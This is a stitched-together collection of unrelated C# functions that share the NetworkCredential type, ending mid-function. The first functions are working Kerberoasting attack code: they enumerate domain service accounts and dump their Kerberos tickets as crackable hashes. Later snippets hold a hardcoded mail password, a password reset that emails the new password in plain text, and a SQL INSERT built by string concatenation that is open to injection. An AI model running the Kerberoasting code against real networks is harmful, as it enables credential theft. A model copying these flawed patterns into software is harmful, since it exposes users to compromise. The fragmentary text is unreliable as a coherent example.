public static void GetDomainSPNTicket(string spn, string userName = "******", string distinguishedName = "", System.Net.NetworkCredential cred = null) { string domain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); domain = domainDN.Replace("DC=", "").Replace(',', '.'); } try { // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the // GetRequest() stream was constributed to PowerView by @machosec System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; if (cred != null) { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); } else { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); } byte[] requestBytes = ticket.GetRequest(); if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) { Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); return; } // ignore the GSSAPI frame byte[] apReqBytes = new byte[requestBytes.Length - 17]; Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); AsnElt apRep = AsnElt.Decode(apReqBytes); if (apRep.TagValue != 14) { Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); } long encType = 0; foreach (AsnElt elem in apRep.Sub[0].Sub) { if (elem.TagValue == 3) { foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) { if (elem2.TagValue == 3) { foreach (AsnElt elem3 in elem2.Sub[0].Sub) { if (elem3.TagValue == 0) { encType = elem3.Sub[0].GetInteger(); } if (elem3.TagValue == 2) { byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", ""); string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); bool header = false; foreach (string line in Helpers.Split(hash, 80)) { if (!header) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" {0}", line); } header = true; } Console.WriteLine(); } } } } } } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); } }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", System.Net.NetworkCredential cred = null) { Console.WriteLine("[*] Action: Kerberoasting"); if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] ServicePrincipalName : {0}", spn); GetDomainSPNTicket(spn); } else { DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}", ouPath); } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { Guid guid = directoryObject.Guid; } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { if (String.IsNullOrEmpty(userName)) { userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))"; } else { userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred); } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } //else - search for user/OU/etc. }
private static bool SendInvociePDF(string DocNum, string DocEntry, string To, string CC, string CompanyCode, string VendorName, string Revision) { bool success; string Databasename = ""; if (CompanyCode == "65ST") { Databasename = "SYSPEX_LIVE"; } if (CompanyCode == "03SM") { Databasename = "Syspex Mechatronic (M) Sdn Bhd"; } if (CompanyCode == "07ST") { Databasename = "Syspex Technologies (M) Sdn Bhd"; } if (CompanyCode == "21SK") { Databasename = "PT SYSPEX KEMASINDO"; } if (CompanyCode == "31SM") { Databasename = "PT SYSPEX MULTITECH"; } if (CompanyCode == "04SI") { Databasename = "Syspex Industries (M) Sdn Bhd"; } try { ReportDocument cryRpt = new ReportDocument(); if ((CompanyCode == "03SM") || (CompanyCode == "04SI")) { cryRpt.Load("F:\\Crystal Reports\\SYSPEX_PURCHASE_03SM&04SI.rpt"); } if ((CompanyCode == "21SK") || (CompanyCode == "31SM")) { cryRpt.Load("F:\\Crystal Reports\\SYSPEX_PURCHASE_21SK&31SM.rpt"); } if (CompanyCode == "07ST") { cryRpt.Load("F:\\Crystal Reports\\SYSPEX_PURCHASE_07ST.rpt"); } if (CompanyCode == "65ST") { cryRpt.Load("F:\\Crystal Reports\\SYSPEX_PURCHASE_65ST.rpt"); } new TableLogOnInfos(); TableLogOnInfo crtableLogoninfo; var crConnectionInfo = new ConnectionInfo(); ParameterFieldDefinitions crParameterFieldDefinitions; ParameterFieldDefinition crParameterFieldDefinition; ParameterValues crParameterValues = new ParameterValues(); ParameterDiscreteValue crParameterDiscreteValue = new ParameterDiscreteValue(); crParameterDiscreteValue.Value = Convert.ToString(DocEntry); crParameterFieldDefinitions = cryRpt.DataDefinition.ParameterFields; crParameterFieldDefinition = crParameterFieldDefinitions["@DOCENTRY"]; crParameterValues = crParameterFieldDefinition.CurrentValues; crParameterValues.Clear(); crParameterValues.Add(crParameterDiscreteValue); crParameterFieldDefinition.ApplyCurrentValues(crParameterValues); crConnectionInfo.ServerName = "SYSPEXSAP04"; crConnectionInfo.DatabaseName = Databasename; crConnectionInfo.UserID = "sa"; crConnectionInfo.Password = "******"; var crTables = cryRpt.Database.Tables; foreach (Table crTable in crTables) { crtableLogoninfo = crTable.LogOnInfo; crtableLogoninfo.ConnectionInfo = crConnectionInfo; crTable.ApplyLogOnInfo(crtableLogoninfo); } ExportOptions CrExportOptions; DiskFileDestinationOptions CrDiskFileDestinationOptions = new DiskFileDestinationOptions(); PdfRtfWordFormatOptions CrFormatTypeOptions = new PdfRtfWordFormatOptions(); CrDiskFileDestinationOptions.DiskFileName = "F:\\ePORev\\" + CompanyCode + "\\" + DocNum + ".pdf"; CrExportOptions = cryRpt.ExportOptions; { CrExportOptions.ExportDestinationType = ExportDestinationType.DiskFile; CrExportOptions.ExportFormatType = ExportFormatType.PortableDocFormat; CrExportOptions.DestinationOptions = CrDiskFileDestinationOptions; CrExportOptions.FormatOptions = CrFormatTypeOptions; } cryRpt.Export(); //// Email Part MailMessage mm = new MailMessage { From = new MailAddress("*****@*****.**") }; //CC Address foreach (var address in CC.Split(new[] { "," }, StringSplitOptions.RemoveEmptyEntries).Distinct()) { mm.CC.Add(new MailAddress(address)); //Adding Multiple CC email Id } //TO Address foreach (var address in To.Split(new[] { ";" }, StringSplitOptions.RemoveEmptyEntries)) { if (IsValidEmail(address) == true) { mm.To.Add(address); } } mm.IsBodyHtml = true; mm.Subject = "Amended PO#" + DocNum + " " + Revision + "_" + VendorName; if (CompanyCode != "65ST") { //mm.Subject = " Purchase Order No:" + DocNum; mm.Body = "<p>Dear Valued Supplier,</p> <p>Attached please find our <u>PO# " + DocNum + "(" + Revision + ")</u>, if you have any questions please call us immediately.</p>" + "<p> Regards,</p>" + "<p> Procurement Team</p> "; } else { mm.Body = ST_HTMLBULIDER(DocNum, Revision); } SmtpClient smtp = new SmtpClient { Host = "smtp.gmail.com", EnableSsl = true }; System.Net.NetworkCredential NetworkCred = new System.Net.NetworkCredential { UserName = "******", Password = "******" }; smtp.UseDefaultCredentials = true; smtp.Credentials = NetworkCred; smtp.Port = 587; mm.Attachments.Add(new System.Net.Mail.Attachment(CrDiskFileDestinationOptions.DiskFileName)); smtp.Send(mm); success = true; } catch (CrystalReportsException ex) { throw ex; } return(success); }
//krjimi i nje funksioni qe shperben per krijimin e celesave public static void Krijo(string KeyName) { //Folderi ku duam ta ruajm celesin string KeyPath = "C://keys"; if (!(Directory.Exists(KeyPath))) { Directory.CreateDirectory(KeyPath); } //kontrollojm se a ekziston ky celes paraprakisht bool DoesKeyExist(string name) { //krijimi i CspParametrave var cspParams = new CspParameters { Flags = CspProviderFlags.UseExistingKey | CspProviderFlags.UseMachineKeyStore, KeyContainerName = name }; // e inicializojm nje instance te RSACryptoServiceProvider() klases me parametra te specifikuar try { var rsa = new RSACryptoServiceProvider(cspParams); } catch (Exception) { return(false); } return(true); } //nese ky celes ekziston me pare shfaq kete mesazh //nese ky celes ekziston me pare shfaq kete mesazh if (DoesKeyExist(KeyName)) { Console.WriteLine("Gabim:Shfrytezuesi " + KeyName + " ekziston paraprakisht"); } //nese ky celes nuk ekziston me pare: if (!DoesKeyExist(KeyName)) { Connection C = new Connection(); string pass = ""; string pass1 = ""; Console.Write("Jepni fjalekalimin :"); do { ConsoleKeyInfo key = Console.ReadKey(true); // Backspace nuk duhet te punoj if (key.Key != ConsoleKey.Backspace && key.Key != ConsoleKey.Enter) { pass += key.KeyChar; Console.Write("*"); } else { if (key.Key == ConsoleKey.Backspace && pass.Length > 0) { pass = pass.Substring(0, (pass.Length - 1)); Console.Write("\b \b"); } else if (key.Key == ConsoleKey.Enter) { break; } } } while (true); string password = new System.Net.NetworkCredential(string.Empty, pass).Password; var hasNumber = new Regex(@"[0-9]+"); var hasSymbols = new Regex(@"[!@#$%^&*()_+=\[{\]};:<>|./?,-]"); bool validimi() { if (password.Length < 6) { Console.WriteLine("\nShkruane nje password me te gjate se 6 karaktere ."); return(false); } if (!hasNumber.IsMatch(password) && (!hasSymbols.IsMatch(password))) { Console.WriteLine("\nPassword-i duhet te permbaj se paku nje numer ose nje karakter !"); return(false); } if (hasNumber.IsMatch(password) && (!hasSymbols.IsMatch(password))) { return(true); } if (!hasNumber.IsMatch(password) && (hasSymbols.IsMatch(password))) { return(true); } return(true); } if (validimi()) { Console.Write("\nPerserit fjalekalimin :"); do { ConsoleKeyInfo keyy = Console.ReadKey(true); // Backspace nuk duhet te punojn if (keyy.Key != ConsoleKey.Backspace && keyy.Key != ConsoleKey.Enter) { pass1 += keyy.KeyChar; Console.Write("*"); } else { if (keyy.Key == ConsoleKey.Backspace && pass1.Length > 0) { pass = pass.Substring(0, (pass1.Length - 1)); Console.Write("\b \b"); } else if (keyy.Key == ConsoleKey.Enter) { break; } } } while (true); if (pass != pass1) { Console.WriteLine("\nFjalekalimet nuk perputhen !"); } else { string CreateSalt(int size) { // Generate a cryptographic random number using the cryptographic // service provider RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); byte[] buff = new byte[size]; rng.GetBytes(buff); // Return a Base64 string representation of the random number return(Convert.ToBase64String(buff)); } string generatehash(string input, string salt) { byte[] bytes = System.Text.Encoding.UTF8.GetBytes(input + salt); System.Security.Cryptography.SHA256Managed sha256shstring = new System.Security.Cryptography.SHA256Managed(); byte[] hash = sha256shstring.ComputeHash(bytes); string hashh = Convert.ToBase64String(hash); return(hashh); } string saltt = CreateSalt(10); string hashedpassword = generatehash(pass, saltt); try { String query = "INSERT INTO users VALUES" + "('" + KeyName + "','" + hashedpassword + "','" + saltt + "')"; MySqlDataReader row; row = Connection.databaza(query); Console.WriteLine("\nEshte krijuar shfrytezuesi " + KeyName); } catch (Exception exception) { throw new Exception(exception.Message); } var cp = new CspParameters(); cp.KeyContainerName = KeyName; cp.Flags = CspProviderFlags.NoPrompt | CspProviderFlags.UseArchivableKey | CspProviderFlags.UseMachineKeyStore; RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(cp); try { //perdorimi i FileStream Class per te krijuar nje instance te re te kesaj klase me nje path specifik //dhe krijimi i atij file var fs = new FileStream( String.Concat(KeyPath, "\\", KeyName, ".xml"), FileMode.Create); //Perdorimi i StreamWriter per shkrim ne Fajllin e caktuar perkatesisht ne fajllin e krijuar (fs) using (StreamWriter sw = new StreamWriter(fs)) { //Krijon dhe kthen nje XML string permbajtje te celesit privat sw.WriteLine(rsa.ToXmlString(true)); } Console.WriteLine("Eshte krijuar celesi privat " + String.Concat("keys//", KeyName, ".xml")); } catch { Console.WriteLine("Eshte shfaqur nje problem gjate krijimit te celesit privat"); } //Kontrollojme permes try and catch nese ka ndonje gabim try { //Krijimi i fajllit me extension .xml ne varesi nga pathi dhe emri var fs = new FileStream( String.Concat(KeyPath, "\\", KeyName, ".pub", ".xml"), FileMode.Create); //Permes objektit sw(StreamWriter) shkruajm ne fajllin fs using (StreamWriter sw = new StreamWriter(fs)) { //Krijon dhe kthen nje XML string permbajtje te celesit publik sw.WriteLine(rsa.ToXmlString(false)); } Console.WriteLine("Eshte krijuar celesi publik " + String.Concat("keys//", KeyName, ".pub", ".xml")); } catch { Console.WriteLine("Eshte shfaqur nje problem gjate krijimit te celesit public"); } } } } }
private void Init(System.Net.NetworkCredential nc, string user, string language, string pwd, string fwPassword) { myNC = nc; myUser = user; myPwd = pwd; myFWPassword = fwPassword; AtriumXURL = ServerInfo.AtriumX; if (ServerInfo.IsCompressionNull()) { Compression = true; } else { Compression = ServerInfo.Compression; } UseProxy = ServerInfo.useProxy; UseService = ServerInfo.useService; UseTrusted = serverInfo.trustedConnection; Connect = ServerInfo.dbConnect; if (language == "FRE") { atriumBE.Properties.Resources.Culture = new System.Globalization.CultureInfo("fr-CA"); this.myLanguage = language; } //WindowsFormsApplicationBase creates a talk-back channel if (!UseService) { if (UsingRemote) { //start proxy if (ServerInfo.useProxy) { StartProxy(ServerInfo, user, fwPassword); } DALMngr = (atriumDAL.atriumDALManager)RemoteDAL(nc.UserName, fwPassword); } else { DALMngr = new atriumDAL.atriumDALManager(nc.UserName, nc.Password, ServerInfo.dbConnect); } myDALClient = new DALClient(this); } //atSecurity.SecurityApp secApp= new atSecurity.SecurityApp(nc, user, ServerInfo.proxyUrl, ServerInfo.useRemote, ServerInfo.dbConnect, fwPassword); //SecurityManager = secApp.SecurityManager; AtMng = new atriumManager(this); StartPulse(); pulse.Elapsed += new System.Timers.ElapsedEventHandler(pulse_Elapsed1); }
public ActionResult ResetPassword(Resetpass ps) { //TODO: Check the un and rt matching and then perform following //get userid user table from username int id1 = Managing_Agent.get_userid(ps.usern); //get userid token from membershiptable from token int id2 = Managing_Agent.get_userid_bytoken(ps.token); if (id1 == id2) { //generate random password string newpass = ps.newpassword; //reset password bool response = WebSecurity.ResetPassword(ps.token, newpass); if (response == true) { //get user emailid to send password var emailid = Managing_Agent.get_email(ps.usern); //send email string subject = "New Password"; string body = "<b>Please find the New Password</b><br/>" + newpass; //edit it try { #region System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient(); client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network; client.EnableSsl = true; client.Host = "smtp.gmail.com"; client.Port = 587; System.Net.NetworkCredential credentials = new System.Net.NetworkCredential("*****@*****.**", "kartikbhambukumar"); client.UseDefaultCredentials = false; client.Credentials = credentials; System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); msg.From = new MailAddress("*****@*****.**"); msg.To.Add(new MailAddress(emailid)); msg.Subject = subject; msg.IsBodyHtml = true; msg.Body = body; client.Send(msg); #endregion TempData["Message"] = "Mail Sent."; } catch (Exception ex) { TempData["Message"] = "Error occured while sending email." + ex.Message; } //display message TempData["Message"] = "Success! Check email we sent"; } else { TempData["Message"] = "Hey, avoid random request on this page."; } } else { TempData["Message"] = "Username and token not maching."; } return(View()); }
public static string DigestAuthorizationHeader(Encoding encoding, HttpMethod method, Uri location, System.Net.NetworkCredential credential, string qopPart = null, string ncPart = null, string nOncePart = null, string cnOncePart = null, string opaquePart = null, bool rfc2069 = false, string algorithmPart = null, string bodyPart = null) { return(AuthorizationHeader(encoding, method, location, System.Net.AuthenticationSchemes.Digest, credential, qopPart, ncPart, nOncePart, cnOncePart, opaquePart, rfc2069, algorithmPart, bodyPart)); }
public bool SendBlockedIPAddressEmail(string currentURL, string IPAddress) { try { UserMaster adminUser = Localizer.AdminUser; string strEmailBody = ""; strEmailBody = strEmailBody + System.Environment.NewLine + "<html xmlns='http://www.w3.org/1999/xhtml'>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <head>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <title></title>"; strEmailBody = strEmailBody + System.Environment.NewLine + " </head>"; strEmailBody = strEmailBody + System.Environment.NewLine + " "; strEmailBody = strEmailBody + System.Environment.NewLine + " <body>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <span style='font-family:Arial;font-size:10pt'>"; strEmailBody = strEmailBody + System.Environment.NewLine + " Dear <b>" + adminUser.Name + "</b>, <br/><br/>"; strEmailBody = strEmailBody + System.Environment.NewLine + " "; strEmailBody = strEmailBody + System.Environment.NewLine + " The IP Address [<b>" + IPAddress + "</b>] has been blocked due to many fail attempts for login."; strEmailBody = strEmailBody + System.Environment.NewLine + " <br/><br/>"; strEmailBody = strEmailBody + System.Environment.NewLine + " To Unblock this IP Address, please click on the following button:"; strEmailBody = strEmailBody + System.Environment.NewLine + " <br/><br/>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <a style='text-decoration:none;background:#26B99A;border:1px solid #169F85;border-radius:3px;margin-bottom:5px;margin-right:5px;color:#fff;display:inline-block;padding:6px 12px;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;font-family:inherit;text-transform:none;overflow:visible;' href=" + currentURL + "/Home/UnBlockIPAddress?Token=" + FrameWork.Core.Utility.EncryptData("`IP_ADDRESS=" + IPAddress + "`RECORD_DATE=" + DateTime.Now) + ">Unblock [" + IPAddress + "]</a>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <br/><br/>"; strEmailBody = strEmailBody + System.Environment.NewLine + " Regards,"; strEmailBody = strEmailBody + System.Environment.NewLine + " <br/>"; strEmailBody = strEmailBody + System.Environment.NewLine + " <b>Admin Team</b>"; strEmailBody = strEmailBody + System.Environment.NewLine + " </span>"; strEmailBody = strEmailBody + System.Environment.NewLine + " </body>"; strEmailBody = strEmailBody + System.Environment.NewLine + "</html>"; using (MailMessage mailMessage = new MailMessage()) { UserMaster objUserMaster = (new UserMasterFacade()).GetDefaultEmailSettings(0, adminUser.EmailId, ""); mailMessage.From = new MailAddress(objUserMaster.EmailDisplayName); mailMessage.Subject = "ERP - IP Address[" + IPAddress + "] blocked"; mailMessage.Body = strEmailBody; mailMessage.IsBodyHtml = true; mailMessage.To.Add(new MailAddress(adminUser.EmailId)); SmtpClient smtp = new SmtpClient(); smtp.Host = objUserMaster.EmailHostName; smtp.EnableSsl = objUserMaster.EmailEnableSSL; System.Net.NetworkCredential NetworkCred = new System.Net.NetworkCredential(); NetworkCred.UserName = objUserMaster.EmailUserName; NetworkCred.Password = objUserMaster.EmailPassword; smtp.UseDefaultCredentials = true; smtp.Credentials = NetworkCred; smtp.Port = objUserMaster.EmailPortNumber; smtp.Send(mailMessage); } return(true); } catch (ApplicationException ex) { throw new ApplicationException(ex.Message, null); } }
/// <summary> /// This method will send the email notification to recipient /// </summary> /// <param name="sendMailRequest"> Pass SendMailRequest type object to process the request</param> /// <returns></returns> public bool SendNotification(SendMailRequest sendMailRequest) { MailMessage mailMessage = new MailMessage(); try { // Setting To recipient string[] emailAddress = sendMailRequest.recipient.Split(','); foreach (var email in emailAddress) { mailMessage.To.Add(email); } // Separate the cc array , if not null //if (sendMailRequest.cc != null) //{ // string[] cc_emailAddress = sendMailRequest.cc.Split(','); // foreach (var email in cc_emailAddress) // { // mailMessage.CC.Add(email); // } //} //// Include the reply to if not null //if (sendMailRequest.replyto != null) //{ // mailMessage.ReplyToList.Add(new MailAddress(sendMailRequest.replyto)); //} // Include the file attachment if the filename is not null //if (sendMailRequest.filename != null) //{ // // Declare a temp file path where we can assemble our file // string tempPath = Properties.Settings.Default["TempFile"].ToString(); // string filePath = Path.Combine(tempPath, sendMailRequest.filename); // using (System.IO.FileStream reader = System.IO.File.Create(filePath)) // { // byte[] buffer = Convert.FromBase64String(sendMailRequest.filecontent); // reader.Write(buffer, 0, buffer.Length); // reader.Dispose(); // } //msg.Attachments.Add(new Attachment(filePath)); //} string sendFromEmail = ConfigurationManager.AppSettings["SendFromEmail"].ToString(); string sendFromName = ConfigurationManager.AppSettings["SendFromName"].ToString(); string sendFromPwd = SecurityEncryptDecrypt.Decrypt(ConfigurationManager.AppSettings["SendFromPwd"].ToString()); mailMessage.From = new MailAddress(sendFromEmail, sendFromName); mailMessage.Subject = sendMailRequest.subject; mailMessage.Body = sendMailRequest.body; mailMessage.IsBodyHtml = true; SmtpClient client = new SmtpClient(ConfigurationManager.AppSettings["SMTPName"].ToString()); client.Port = 25; //client.EnableSsl = true; client.UseDefaultCredentials = false; System.Net.NetworkCredential nCred = new System.Net.NetworkCredential(sendFromEmail, sendFromPwd); client.Credentials = nCred; client.DeliveryMethod = SmtpDeliveryMethod.Network; client.Send(mailMessage); //return "Email sent successfully to " + sendMailRequest.recipient.ToString(); return(true); } catch (Exception ex) { throw new Exception("Password has been reset but unable to send an email due to some technical issue, please contact to administrator"); } finally { mailMessage.Dispose(); } }
//string method internal static string AuthorizationHeader(Encoding encoding, HttpMethod method, Uri location, System.Net.AuthenticationSchemes scheme, System.Net.NetworkCredential credential, string qopPart = null, string ncPart = null, string nOncePart = null, string cnOncePart = null, string opaquePart = null, bool rfc2069 = false, string algorithmPart = null, string bodyPart = null) { if (scheme != System.Net.AuthenticationSchemes.Basic && scheme != System.Net.AuthenticationSchemes.Digest) { throw new ArgumentException("Must be either None, Basic or Digest", "scheme"); } string result = string.Empty; //Basic if (scheme == System.Net.AuthenticationSchemes.Basic) { //http://en.wikipedia.org/wiki/Basic_access_authentication //Don't use the domain. result = "Basic " + Convert.ToBase64String(encoding.GetBytes(credential.UserName + ':' + credential.Password)); } else if (scheme == System.Net.AuthenticationSchemes.Digest) //Digest { //http://www.ietf.org/rfc/rfc2617.txt //Example //Authorization: Digest username="******", realm="GeoVision", nonce="b923b84614fc11c78c712fb0e88bc525", uri="rtsp://203.11.64.27:8554/CH001.sdp", response="d771e4e5956e3d409ce5747927db10af"\r\n //Todo Check that Digest works with Options * or when uriPart is \ string usernamePart = credential.UserName, realmPart = credential.Domain ?? "//", uriPart = location != null && location.IsAbsoluteUri ? location.AbsoluteUri : new String((char)Common.ASCII.BackSlash, 1); if (string.IsNullOrWhiteSpace(nOncePart)) { //Contains two sequential 32 bit units from the Random generator for now nOncePart = ((long)(Utility.Random.Next(int.MaxValue) << 32 | Utility.Random.Next(int.MaxValue))).ToString("X"); } //Need to look at this again if (false == string.IsNullOrWhiteSpace(qopPart)) { if (false == string.IsNullOrWhiteSpace(ncPart)) { ncPart = (int.Parse(ncPart) + 1).ToString(); } else { ncPart = "00000001"; } if (string.IsNullOrWhiteSpace(cnOncePart)) { cnOncePart = Utility.Random.Next(int.MaxValue).ToString("X"); } } //http://en.wikipedia.org/wiki/Digest_access_authentication //The MD5 hash of the combined username, authentication realm and password is calculated. The result is referred to as HA1. byte[] HA1 = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}:{2}", credential.UserName, realmPart, credential.Password))); //The MD5 hash of the combined method and digest URI is calculated, e.g. of "GET" and "/dir/index.html". The result is referred to as HA2. byte[] HA2 = null; //Need to format based on presence of fields qop... byte[] ResponseHash; //If there is a Quality of Protection if (qopPart != null) { if (qopPart == "auth") { HA2 = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}", method, uriPart))); //The MD5 hash of the combined HA1 result, server nonce (nonce), request counter (nc), client nonce (cnonce), quality of protection code (qop) and HA2 result is calculated. The result is the "response" value provided by the client. ResponseHash = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}:{2}:{3}:{4}:{5}", BitConverter.ToString(HA1).Replace("-", string.Empty).ToLowerInvariant(), nOncePart, BitConverter.ToString(HA2).Replace("-", string.Empty).ToLowerInvariant(), ncPart, cnOncePart, qopPart))); result = string.Format(System.Globalization.CultureInfo.InvariantCulture, "Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", qop=\"{4}\" nc=\"{5} cnonce=\"{6}\"", usernamePart, realmPart, nOncePart, uriPart, qopPart, ncPart, cnOncePart); if (false == string.IsNullOrWhiteSpace(opaquePart)) { result += "opaque=\"" + opaquePart + '"'; } } else if (qopPart == "auth-int") { HA2 = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}:{2}", method, uriPart, Cryptography.MD5.GetHash(encoding.GetBytes(bodyPart))))); //The MD5 hash of the combined HA1 result, server nonce (nonce), request counter (nc), client nonce (cnonce), quality of protection code (qop) and HA2 result is calculated. The result is the "response" value provided by the client. ResponseHash = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}:{2}:{3}:{4}:{5}", BitConverter.ToString(HA1).Replace("-", string.Empty).ToLowerInvariant(), nOncePart, BitConverter.ToString(HA2).Replace("-", string.Empty).ToLowerInvariant(), ncPart, cnOncePart, qopPart))); result = string.Format(System.Globalization.CultureInfo.InvariantCulture, "Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", qop=\"{4}\" nc=\"{5} cnonce=\"{6}\"", usernamePart, realmPart, nOncePart, uriPart, qopPart, ncPart, cnOncePart); if (false == string.IsNullOrWhiteSpace(opaquePart)) { result += "opaque=\"" + opaquePart + '"'; } } else { throw new NotImplementedException(); } } else // No Quality of Protection { HA2 = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}", method, uriPart))); ResponseHash = Cryptography.MD5.GetHash(encoding.GetBytes(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:{1}:{2}", BitConverter.ToString(HA1).Replace("-", string.Empty).ToLowerInvariant(), nOncePart, BitConverter.ToString(HA2).Replace("-", string.Empty).ToLowerInvariant()))); result = string.Format(System.Globalization.CultureInfo.InvariantCulture, "Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", response=\"{4}\"", usernamePart, realmPart, nOncePart, uriPart, BitConverter.ToString(ResponseHash).Replace("-", string.Empty).ToLowerInvariant()); } } return(result); }
public async Task <ActionResult <List <Reservation> > > PostFlightReservation(ReservationFlight reservation) { // SAVE POINTS USED foreach (var item in reservation.Users) { var user = _context.ApplicationUsers.Find(item); _context.Entry(user).State = EntityState.Modified; _context.SaveChanges(); } string invitorName = ""; foreach (var user in _context.ApplicationUsers) { if (user.Id == reservation.Reservations[reservation.Reservations.Count - 1].UserID) { invitorName = user.UserName; } } Dictionary <string, MailMessage> messages = new Dictionary <string, MailMessage>(); foreach (var res in reservation.Reservations) { foreach (var user in _context.ApplicationUsers) { if (user.Id == res.UserID) { MailMessage msg = new MailMessage(); msg.From = new MailAddress("*****@*****.**"); msg.To.Add(new MailAddress(user.Email)); if (res.ReservationType == 3) { msg.Subject = "Reservation invite"; msg.Body += "\nYou were invited by : " + invitorName; msg.Body += "\n\nSeat invited to : "; foreach (var seat in res.Seats) { if (seat.Type == 5) { msg.Body += "\nType : Economy, Seat order:" + seat.Order; } else if (seat.Type == 6) { msg.Body += "\nType : Business, Seat order:" + seat.Order; } else if (seat.Type == 7) { msg.Body += "\nType : First class, Seat order:" + seat.Order; } } msg.Body += "\n\nTotal price : " + res.Price; } else { msg.Subject = "Reservation created"; msg.Body = "Your reservation is created on name " + user.UserName + " for " + res.NumberOfPeople + " people. Seats reserved are : "; foreach (var seat in res.Seats) { if (seat.Type == 5) { msg.Body += "\nType : Economy, Seat order:" + seat.Order; } else if (seat.Type == 6) { msg.Body += "\nType : Business, Seat order:" + seat.Order; } else if (seat.Type == 7) { msg.Body += "\nType : First class, Seat order:" + seat.Order; } } msg.Body += "\nBag count : " + res.BagCount; if (res.ReservationType == 2) { msg.Body += "\nCar booked from " + res.RentRideStart + " for " + 